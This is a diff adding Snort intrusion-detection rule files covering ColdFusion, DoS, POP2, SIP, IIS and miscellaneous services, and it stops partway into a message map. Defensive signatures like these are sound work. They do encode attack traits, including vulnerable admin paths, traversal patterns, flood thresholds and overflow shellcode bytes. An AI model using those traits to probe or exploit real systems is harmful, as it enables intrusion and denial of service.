+alert tcp $HOME_NET 995 -> $EXTERNAL_NET any (msg:"POP3 SSLv3 Server_Hello request"; flow:to_client,established; flowbits:isset,sslv3.client_hello.request; content:"|16 03 00|"; depth:3; content:"|02|"; depth:1; offset:5; flowbits:set,sslv3.server_hello.request; flowbits:noalert; classtype:protocol-command-decode; sid:2533; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 995 (msg:"POP3 SSLv3 invalid Client_Hello attempt"; flow:to_server,established; flowbits:isset,sslv3.server_hello.request; content:"|16 03|"; depth:2; content:"|01|"; depth:1; offset:5; reference:cve,2004-0120; reference:nessus,12204; reference:url,www.microsoft.com/technet/security/bulletin/MS04-011.mspx; classtype:attempted-dos; sid:2534; rev:6;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"MISC HP Web JetAdmin remote file upload attempt"; flow:to_server,established; content:"/plugins/hpjwja/script/devices_update_printer_fw_upload.hts"; nocase; content:"Content-Type|3A|"; nocase; content:"Multipart"; distance:0; nocase; reference:bugtraq,9978; classtype:web-application-activity; sid:2547; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"MISC HP Web JetAdmin setinfo access"; flow:to_server,established; content:"/plugins/hpjdwm/script/test/setinfo.hts"; nocase; reference:bugtraq,9972; classtype:web-application-activity; sid:2548; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"MISC HP Web JetAdmin file write attempt"; flow:to_server,established; content:"/plugins/framework/script/tree.xms"; nocase; content:"WriteToFile"; nocase; reference:bugtraq,9973; classtype:web-application-activity; sid:2549; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"MISC HP Web JetAdmin ExecuteFile admin access"; flow:to_server,established; content:"/plugins/framework/script/content.hts"; nocase; content:"ExecuteFile"; nocase; reference:bugtraq,10224; classtype:attempted-admin; sid:2655; rev:1;)
+
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 873 (msg:"MISC rsync backup-dir directory traversal attempt"; flow:to_server,established; content:"--backup-dir"; pcre:"/--backup-dir\s+\x2e\x2e\x2f/"; reference:bugtraq,10247; reference:cve,2004-0426; reference:nessus,12230; classtype:string-detect; sid:2561; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3632 (msg:"MISC distccd command execution attempt"; flow:to_server,established; content:"DIST00000001"; depth:12; nocase; reference:url,distcc.samba.org/security.html; classtype:misc-activity; sid:3061; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 7787 (msg:"MISC Unreal Tournament secure overflow attempt"; content:"|5C|secure|5C|"; nocase; pcre:"/\x5csecure\x5c[^\x00]{50}/smi"; reference:bugtraq,10570; reference:cve,2004-0608; classtype:misc-attack; sid:3080; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 617 (msg:"MISC Arkeia client backup system info probe"; flow:established,to_server; content:"ARKADMIN_GET_"; nocase; pcre:"/^(CLIENT|MACHINE)_INFO/Ri"; reference:bugtraq,12594; classtype:attempted-recon; sid:3453; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 617 (msg:"MISC Arkeia client backup generic info probe"; flow:established,to_server; content:"ARKFS|00|root|00|root"; nocase; reference:bugtraq,12594; classtype:attempted-recon; sid:3454; rev:1;)
--- snort-2.8.5.2.orig/rules/web-coldfusion.rules
+++ snort-2.8.5.2/rules/web-coldfusion.rules
@@ -0,0 +1,58 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: web-coldfusion.rules,v 1.27.2.2.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+#---------------------
+# WEB-COLDFUSION RULES
+#---------------------
+#
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION cfcache.map access"; flow:to_server,established; uricontent:"/cfcache.map"; nocase; reference:bugtraq,917; reference:cve,2000-0057; classtype:attempted-recon; sid:903; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION exampleapp application.cfm"; flow:to_server,established; uricontent:"/cfdocs/exampleapp/email/application.cfm"; nocase; reference:bugtraq,1021; reference:cve,2000-0189; classtype:attempted-recon; sid:904; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION application.cfm access"; flow:to_server,established; uricontent:"/cfdocs/exampleapp/publish/admin/application.cfm"; nocase; reference:bugtraq,1021; reference:cve,2000-0189; classtype:attempted-recon; sid:905; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION getfile.cfm access"; flow:to_server,established; uricontent:"/cfdocs/exampleapp/email/getfile.cfm"; nocase; reference:bugtraq,229; reference:cve,1999-0800; classtype:attempted-recon; sid:906; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION addcontent.cfm access"; flow:to_server,established; uricontent:"/cfdocs/exampleapp/publish/admin/addcontent.cfm"; nocase; classtype:attempted-recon; sid:907; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION administrator access"; flow:to_server,established; uricontent:"/cfide/administrator/index.cfm"; nocase; reference:bugtraq,1314; reference:cve,2000-0538; classtype:attempted-recon; sid:908; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION datasource username attempt"; flow:to_server,established; content:"CF_SETDATASOURCEUSERNAME|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:909; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION fileexists.cfm access"; flow:to_server,established; uricontent:"/cfdocs/snippets/fileexists.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:910; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION exprcalc access"; flow:to_server,established; uricontent:"/cfdocs/expeval/exprcalc.cfm"; nocase; reference:bugtraq,115; reference:bugtraq,550; reference:cve,1999-0455; classtype:attempted-recon; sid:911; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION parks access"; flow:to_server,established; uricontent:"/cfdocs/examples/parks/detail.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:912; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION cfappman access"; flow:to_server,established; uricontent:"/cfappman/index.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:913; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION beaninfo access"; flow:to_server,established; uricontent:"/cfdocs/examples/cvbeans/beaninfo.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:914; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION evaluate.cfm access"; flow:to_server,established; uricontent:"/cfdocs/snippets/evaluate.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:915; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION getodbcdsn access"; flow:to_server,established; content:"CFUSION_GETODBCDSN|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:916; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION db connections flush attempt"; flow:to_server,established; content:"CFUSION_DBCONNECTIONS_FLUSH|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:917; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION expeval access"; flow:to_server,established; uricontent:"/cfdocs/expeval/"; nocase; reference:bugtraq,550; reference:cve,1999-0477; classtype:attempted-user; sid:918; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION datasource passwordattempt"; flow:to_server,established; content:"CF_SETDATASOURCEPASSWORD|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:919; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION datasource attempt"; flow:to_server,established; content:"CF_ISCOLDFUSIONDATASOURCE|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:920; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION admin encrypt attempt"; flow:to_server,established; content:"CFUSION_ENCRYPT|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:921; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION displayfile access"; flow:to_server,established; uricontent:"/cfdocs/expeval/displayopenedfile.cfm"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:922; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION getodbcin attempt"; flow:to_server,established; content:"CFUSION_GETODBCINI|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:923; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION admin decrypt attempt"; flow:to_server,established; content:"CFUSION_DECRYPT|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:924; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION mainframeset access"; flow:to_server,established; uricontent:"/cfdocs/examples/mainframeset.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:925; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION set odbc ini attempt"; flow:to_server,established; content:"CFUSION_SETODBCINI|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:926; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION settings refresh attempt"; flow:to_server,established; content:"CFUSION_SETTINGS_REFRESH|28 29|"; nocase; reference:bugtraq,550; classtype:web-application-attack; sid:927; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION exampleapp access"; flow:to_server,established; uricontent:"/cfdocs/exampleapp/"; nocase; classtype:attempted-recon; sid:928; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION CFUSION_VERIFYMAIL access"; flow:to_server,established; content:"CFUSION_VERIFYMAIL|28 29|"; nocase; reference:bugtraq,550; classtype:attempted-user; sid:929; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION snippets attempt"; flow:to_server,established; uricontent:"/cfdocs/snippets/"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:930; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION cfmlsyntaxcheck.cfm access"; flow:to_server,established; uricontent:"/cfdocs/cfmlsyntaxcheck.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:931; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION application.cfm access"; flow:to_server,established; uricontent:"/application.cfm"; nocase; reference:arachnids,268; reference:bugtraq,550; reference:cve,2000-0189; classtype:attempted-recon; sid:932; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION onrequestend.cfm access"; flow:to_server,established; uricontent:"/onrequestend.cfm"; nocase; reference:arachnids,269; reference:bugtraq,550; reference:cve,2000-0189; classtype:attempted-recon; sid:933; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION startstop DOS access"; flow:to_server,established; uricontent:"/cfide/administrator/startstop.html"; nocase; reference:bugtraq,247; classtype:web-application-attack; sid:935; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION gettempdirectory.cfm access "; flow:to_server,established; uricontent:"/cfdocs/snippets/gettempdirectory.cfm"; nocase; reference:bugtraq,550; classtype:attempted-recon; sid:936; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION sendmail.cfm access"; flow:to_server,established; uricontent:"/sendmail.cfm"; nocase; classtype:attempted-recon; sid:1659; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-COLDFUSION ?Mode=debug attempt"; flow:to_server,established; uricontent:"Mode=debug"; nocase; reference:nessus,10797; classtype:web-application-activity; sid:1540; rev:7;)
--- snort-2.8.5.2.orig/rules/dos.rules
+++ snort-2.8.5.2/rules/dos.rules
@@ -0,0 +1,45 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: dos.rules,v 1.39.2.4.2.3 2005/06/29 15:35:04 mwatchinski Exp $
+#----------
+# DOS RULES
+#----------
+
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS Jolt attack"; dsize:408; fragbits:M; reference:cve,1999-0345; classtype:attempted-dos; sid:268; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS Teardrop attack"; fragbits:M; id:242; reference:bugtraq,124; reference:cve,1999-0015; reference:nessus,10279; reference:url,www.cert.org/advisories/CA-1997-28.html; classtype:attempted-dos; sid:270; rev:6;)
+# alert udp any 19 <> any 7 (msg:"DOS UDP echo+chargen bomb"; reference:cve,1999-0103; reference:cve,1999-0635; classtype:attempted-dos; sid:271; rev:5;)
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS IGMP dos attack"; fragbits:M+; ip_proto:2; reference:bugtraq,514; reference:cve,1999-0918; reference:url,www.microsoft.com/technet/security/bulletin/MS99-034.mspx; classtype:attempted-dos; sid:272; rev:10;)
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS IGMP dos attack"; fragbits:M+; ip_proto:2; reference:bugtraq,514; reference:cve,1999-0918; classtype:attempted-dos; sid:273; rev:8;)
+alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DOS ath"; itype:8; content:"+++ath"; nocase; reference:arachnids,264; reference:cve,1999-1228; classtype:attempted-dos; sid:274; rev:5;)
+# alert tcp $EXTERNAL_NET any <> $HOME_NET any (msg:"DOS NAPTHA"; flow:stateless; flags:S; id:413; seq:6060842; reference:bugtraq,2022; reference:cve,2000-1039; reference:url,razor.bindview.com/publish/advisories/adv_NAPTHA.html; reference:url,www.cert.org/advisories/CA-2000-21.html; reference:url,www.microsoft.com/technet/security/bulletin/MS00-091.mspx; classtype:attempted-dos; sid:275; rev:12;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7070 (msg:"DOS Real Audio Server"; flow:to_server,established; content:"|FF F4 FF FD 06|"; reference:arachnids,411; reference:bugtraq,1288; reference:cve,2000-0474; classtype:attempted-dos; sid:276; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 7070 (msg:"DOS Real Server template.html"; flow:to_server,established; content:"/viewsource/template.html?"; nocase; reference:bugtraq,1288; reference:cve,2000-0474; classtype:attempted-dos; sid:277; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"DOS Real Server template.html"; flow:to_server,established; content:"/viewsource/template.html?"; nocase; reference:bugtraq,1288; reference:cve,2000-0474; classtype:attempted-dos; sid:278; rev:5;)
+# alert udp $EXTERNAL_NET any -> $HOME_NET 161 (msg:"DOS Bay/Nortel Nautica Marlin"; dsize:0; reference:bugtraq,1009; reference:cve,2000-0221; classtype:attempted-dos; sid:279; rev:4;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 9 (msg:"DOS Ascend Route"; content:"NAMENAME"; depth:50; offset:25; reference:arachnids,262; reference:bugtraq,714; reference:cve,1999-0060; classtype:attempted-dos; sid:281; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 617 (msg:"DOS arkiea backup"; flow:to_server,established; dsize:>1445; reference:arachnids,261; reference:bugtraq,662; reference:cve,1999-0788; classtype:attempted-dos; sid:282; rev:8;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 135:139 (msg:"DOS Winnuke attack"; flow:stateless; flags:U+; reference:bugtraq,2010; reference:cve,1999-0153; classtype:attempted-dos; sid:1257; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 3372 (msg:"DOS MSDTC attempt"; flow:to_server,established; dsize:>1023; reference:bugtraq,4006; reference:cve,2002-0224; reference:nessus,10939; classtype:attempted-dos; sid:1408; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6004 (msg:"DOS iParty DOS attempt"; flow:to_server,established; content:"|FF FF FF FF FF FF|"; offset:0; reference:bugtraq,6844; reference:cve,1999-1566; classtype:misc-attack; sid:1605; rev:6;)
+# alert tcp $EXTERNAL_NET any -> $HOME_NET 6789:6790 (msg:"DOS DB2 dos attempt"; flow:to_server,established; dsize:1; reference:bugtraq,3010; reference:cve,2001-1143; reference:nessus,10871; classtype:denial-of-service; sid:1641; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 80 (msg:"DOS Cisco attempt"; flow:to_server,established; dsize:1; content:"|13|"; classtype:web-application-attack; sid:1545; rev:8;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 500 (msg:"DOS ISAKMP invalid identification payload attempt"; content:"|05|"; depth:1; offset:16; byte_test:2,>,4,30; byte_test:2,<,8,30; reference:bugtraq,10004; reference:cve,2004-0184; classtype:attempted-dos; sid:2486; rev:5;)
+alert tcp $EXTERNAL_NET any <> $HOME_NET 179 (msg:"DOS BGP spoofed connection reset attempt"; flow:established; flags:RSF*; threshold:type both,track by_dst,count 10,seconds 10; reference:bugtraq,10183; reference:cve,2004-0230; reference:url,www.uniras.gov.uk/vuls/2004/236929/index.htm; classtype:attempted-dos; sid:2523; rev:7;)
+
+alert udp $EXTERNAL_NET any -> $HOME_NET 2048 (msg:"DOS squid WCCP I_SEE_YOU message overflow attempt"; content:"|00 00 00 08|"; depth:4; byte_test:4,>,32,16; reference:bugtraq,12275; reference:cve,2005-0095; classtype:attempted-user; sid:3089; rev:2;)
+# alert tcp $EXTERNAL_NET !721:731 -> $HOME_NET 515 (msg:"DOS WIN32 TCP print service denial of service attempt"; flow:to_server,established; dsize:>600; reference:bugtraq,1082; reference:cve,2000-0232; reference:url,www.microsoft.com/technet/security/bulletin/MS00-021.mspx; classtype:attempted-dos; sid:3442; rev:3;)
--- snort-2.8.5.2.orig/rules/pop2.rules
+++ snort-2.8.5.2/rules/pop2.rules
@@ -0,0 +1,26 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: pop2.rules,v 1.11.2.2.2.1 2005/05/16 22:17:52 mwatchinski Exp $
+#--------------
+# POP2 RULES
+#--------------
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 109 (msg:"POP2 FOLD overflow attempt"; flow:established,to_server; content:"FOLD"; nocase; isdataat:256,relative; pcre:"/^FOLD\s[^\n]{256}/smi"; reference:bugtraq,283; reference:cve,1999-0920; reference:nessus,10130; classtype:attempted-admin; sid:1934; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 109 (msg:"POP2 FOLD arbitrary file attempt"; flow:established,to_server; content:"FOLD"; nocase; pcre:"/^FOLD\s+\//smi"; classtype:misc-attack; sid:1935; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 109 (msg:"POP2 x86 Linux overflow"; flow:established,to_server; content:"|EB|,[|89 D9 80 C1 06|9|D9 7C 07 80 01|"; reference:bugtraq,283; reference:cve,1999-0920; reference:nessus,10130; classtype:attempted-admin; sid:284; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 109 (msg:"POP2 x86 Linux overflow"; flow:established,to_server; content:"|FF FF FF|/BIN/SH|00|"; reference:bugtraq,283; reference:cve,1999-0920; reference:nessus,10130; classtype:attempted-admin; sid:285; rev:8;)
--- snort-2.8.5.2.orig/rules/community-dos.rules
+++ snort-2.8.5.2/rules/community-dos.rules
@@ -0,0 +1,16 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-dos.rules,v 1.7 2007/02/22 20:44:35 akirk Exp $
+
+#Rule submitted by rmkml
+alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"COMMUNITY DOS Tcpdump rsvp attack"; ip_proto:46; content:"|00 08 14 01 03 00 00 00|"; reference:cve,2005-1280; reference:cve,2005-1281; reference:bugtraq,13391; classtype:attempted-dos; sid:100000134; rev:1;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 1069 (msg:"COMMUNITY DOS Ethereal slimp overflow attempt"; content:"|6C C3 B2 A1 02 00 04 00 00 00 00 00 00 00 00 00 FF FF 00 00 01 00 00 00 56 57 F7|"; reference:cve,2005-3243; reference:url,www.ethereal.com/docs/release-notes/ethereal-0.10.13.html; classtype:attempted-dos; sid:100000175; rev:1;) 
+alert tcp $EXTERNAL_NET any <> $HOME_NET 5005 (msg:"COMMUNITY DOS Trend Micro ServerProtect EarthAgent attempt"; flow:stateless; content:"|21 43 65 87|"; reference:cve,2005-1928; reference:url,www.idefense.com/application/poi/display?id=356&type=vulnerabilities; classtype:attempted-dos; sid:100000215; rev:2;)
+
+#Rules submitted by the Verisign MSS Operations Team
+alert tcp $EXTERNAL_NET any -> $HOME_NET 6667:7000 (msg:"COMMUNITY DOS EnergyMech parse_notice vulnerability - inbound"; flow:to_server,established; content:"NOTICE|20|"; content:!"|5c|"; within:11; reference:bugtraq,18664; classtype:attempted-dos; sid:100000686; rev:2;)
+alert tcp $HOME_NET 6667:7000 -> $EXTERNAL_NET any (msg:"COMMUNITY DOS EnergyMech parse_notice vulnerability - outbound"; flow:to_server,established; content:"NOTICE|20|"; content:!"|5c|"; within:11; reference:bugtraq,18664; classtype:attempted-dos; sid:100000687; rev:2;)
+
+#Rule submitted by Dan Protich
+alert udp $EXTERNAL_NET !53 <> $HOME_NET !53  (msg:"COMMUNITY DOS Single-Byte UDP Flood"; content:"0"; dsize:1; classtype:attempted-dos; threshold: type threshold, track by_dst, count 200, seconds 60; sid:100000923; rev:1;)
--- snort-2.8.5.2.orig/rules/community-sip.rules
+++ snort-2.8.5.2/rules/community-sip.rules
@@ -0,0 +1,19 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-sip.rules,v 1.5 2006/06/01 15:51:28 akirk Exp $
+
+#Rules submitted by Jiri Markl
+#Rule for alerting of INVITE flood attack:
+alert ip any any -> any 5060 (msg:"COMMUNITY SIP INVITE message flooding"; content:"INVITE"; depth:6; threshold: type both, track by_src, count 100, seconds 60; classtype:attempted-dos; sid:100000158; rev:2;)
+#Rule for alerting of REGISTER flood attack:
+alert ip any any -> any 5060 (msg:"COMMUNITY SIP REGISTER message flooding"; content:"REGISTER"; depth:8; threshold: type both, track by_src, count 100, seconds 60; classtype:attempted-dos; sid:100000159; rev:2;)
+#Rule for alerting common TCP/UDP flood attack:
+alert ip any any -> any 5060 (msg:"COMMUNITY SIP TCP/IP message flooding directed to SIP proxy"; threshold: type both, track by_src, count 300, seconds 60; classtype:attempted-dos; sid:100000160; rev:2;)
+#Rule for alerting attack using unresolvable DNS names:
+alert udp $DNS_SERVERS 53 -> any any (msg:"COMMUNITY SIP DNS No such name treshold - Abnormaly high count of No such name responses"; content:"|83|"; offset:3; depth:1; threshold: type both, track by_dst, count 100, seconds 60; classtype:attempted-dos; sid:100000161; rev:2;)
+#Threshold rule for unauthorized responses:
+alert ip any any -> any 5060 (msg:"COMMUNITY SIP 401 Unauthorized Flood"; content:"SIP/2.0 401 Unauthorized"; depth:24; threshold: type both, track by_src, count 100, seconds 60; classtype:attempted-dos; sid:100000162; rev:2;)
+alert ip any any -> any 5060 (msg:"COMMUNITY SIP 407 Proxy Authentication Required Flood"; content:"SIP/2.0 407 Proxy Authentication Required"; depth:42; threshold: type both, track by_src, count 100, seconds 60; classtype:attempted-dos; sid:100000163; rev:2;)
+#Rule submitted by rmkml
+alert udp $EXTERNAL_NET any -> $HOME_NET 5060 (msg:"COMMUNITY EXPLOIT SIP UDP Softphone overflow attempt"; content:"|3B|branch|3D|"; content:"a|3D|"; pcre:"/^a\x3D[^\n]{1000,}/smi"; reference:bugtraq,16213; reference:cve,2006-0189; classtype:misc-attack; sid:100000223; rev:1;)
--- snort-2.8.5.2.orig/rules/community-web-iis.rules
+++ snort-2.8.5.2/rules/community-web-iis.rules
@@ -0,0 +1,10 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-web-iis.rules,v 1.2 2005/10/20 13:49:44 akirk Exp $
+
+#Rules submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt localhost"; flow:to_server,established; content:"localhost"; nocase; pcre:"/http\x3A\/\/localhost\/.*\.asp/i"; reference:cve,2005-2678; classtype:web-application-activity; sid:100000138; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-IIS Remote IIS Server Name spoof attempt loopback IP"; flow:to_server,established; content:"127.0.0.1"; pcre:"/http\x3A\/\/127\.0\.0\.1\/.*\.asp/i"; reference:cve,2005-2678; classtype:web-application-activity; sid:100000139; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-IIS RSA WebAgent Redirect Overflow attempt"; flow:to_server,established; uricontent:"/WebID/IISWebAgentIF.dll"; nocase; pcre:"/\x3fRedirect\x3f[^\s]{100,}/smi"; classtype:web-application-activity; sid:100000173; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-IIS RSA WebAgent access"; flow:to_server,established; uricontent:"/WebID/IISWebAgentIF.dll"; nocase; reference:cve,2005-1118; reference:bugtraq,13168; classtype:web-application-activity; sid:100000174; rev:1;)
--- snort-2.8.5.2.orig/rules/gen-msg.map
+++ snort-2.8.5.2/rules/gen-msg.map
@@ -0,0 +1,175 @@
+# $Id: gen-msg.map,v 1.16.2.2.2.2 2005/04/22 22:11:53 jhewlett Exp $
+# GENERATORS -> msg map
+# Format: generatorid || alertid || MSG
+
